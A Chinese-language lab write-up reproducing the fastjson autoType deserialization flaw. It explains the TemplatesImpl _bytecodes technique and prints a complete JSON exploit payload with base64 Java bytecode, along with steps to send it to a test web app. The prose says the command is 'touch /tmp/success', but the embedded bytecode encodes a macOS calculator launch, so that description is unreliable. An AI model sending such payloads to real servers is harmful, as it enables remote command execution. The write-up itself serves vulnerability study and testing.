目录

fastjson 反序列化任意命令执行漏洞

fastjson 反序列化任意命令执行漏洞

漏洞原理

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并通过json来填充其属性值。而JDK自带的类com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中有一个私有属性_bytecodes,其部分方法会执行这个值中包含的Java字节码。

所以,想要使用TemplatesImpl_bytecodes属性执行任意命令,有几个条件:

  1. 目标网站使用fastjson库解析json
  2. 解析时设置了Feature.SupportNonPublicField,否则不支持传入私有属性
  3. 目标使用的jdk中存在TemplatesImpl

当然不排除有其他不需要TemplatesImpl的利用方法

漏洞复现

本环境目录结构如下:

  • src 本项目源码
    • main/java java类
      • IndexFilter.java web源码
      • Poc.java POC源码
  • pom.xml 配置文件,使用maven可以直接将本项目编译成war包
  • exploit.php 读取编译好的POC字节码,并转换成base64
  • fastjson-1.0.war 打包好的web环境,可以直接放到tomcat下运行

生成字节码

第一步就是编写一个Java类,在这个类中执行命令。然后编译该类,获得.class文件,获得字节码。

修改Poc.java中你想要执行的命令,然后在本目录下使用maven对本项目进行编译,生成target/classes/Poc.class

1
mvn compile

如果没有安装maven,也可以直接使用fastjson-1.0.war这个压缩包中的WEB-INF/classes/Poc.class。exploit.php中就是读取的这个我已经编译好的class文件。

构造POC

生成.class文件后,将该文件的内容进行base64编码,放在json中_bytecodes的值的位置,如下:

1
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAVMUG9jOwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAJaGFGbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAtAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXQHAC4BAApTb3VyY2VGaWxlAQAIUG9jLmphdmEMAAgACQcALwwAMAAxAQAhb3BlbiAvQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwDAAyADMBAANQb2MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgALAAAADgADAAAACwAEAAwADQANAAwAAAAMAAEAAAAOAA0ADgAAAA8AAAAEAAEAEAABABEAEgABAAoAAABJAAAABAAAAAGxAAAAAgALAAAABgABAAAAEQAMAAAAKgAEAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABUAFgACAAAAAQAXABgAAwABABEAGQACAAoAAAA/AAAAAwAAAAGxAAAAAgALAAAABgABAAAAFgAMAAAAIAADAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABoAGwACAA8AAAAEAAEAHAAJAB0AHgACAAoAAABBAAIAAgAAAAm7AAVZtwAGTLEAAAACAAsAAAAKAAIAAAAZAAgAGgAMAAAAFgACAAAACQAfACAAAAAIAAEAIQAOAAEADwAAAAQAAQAiAAEAIwAAAAIAJA=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}

如果想使用已经编译好的.class文件,可以直接执行php exploit.php获得POC:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190609163619.png-water_print

使用jdk1.8编译,执行的命令是touch /tmp/success,所以在Windows下会执行失败。Windows用户请自己修改Poc.java,生成自己的POC。

漏洞利用

目标是一个web应用,访问返回“Hello world”。正常POST一个json,目标会提取json对象中的name和age拼接成一句话返回:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190609163632.png-water_print

发送步骤二中获取的POC,成功执行命令:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190609163643.png-water_print

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190609163653.png-water_print

如上图,/tmp/success文件成功被创建。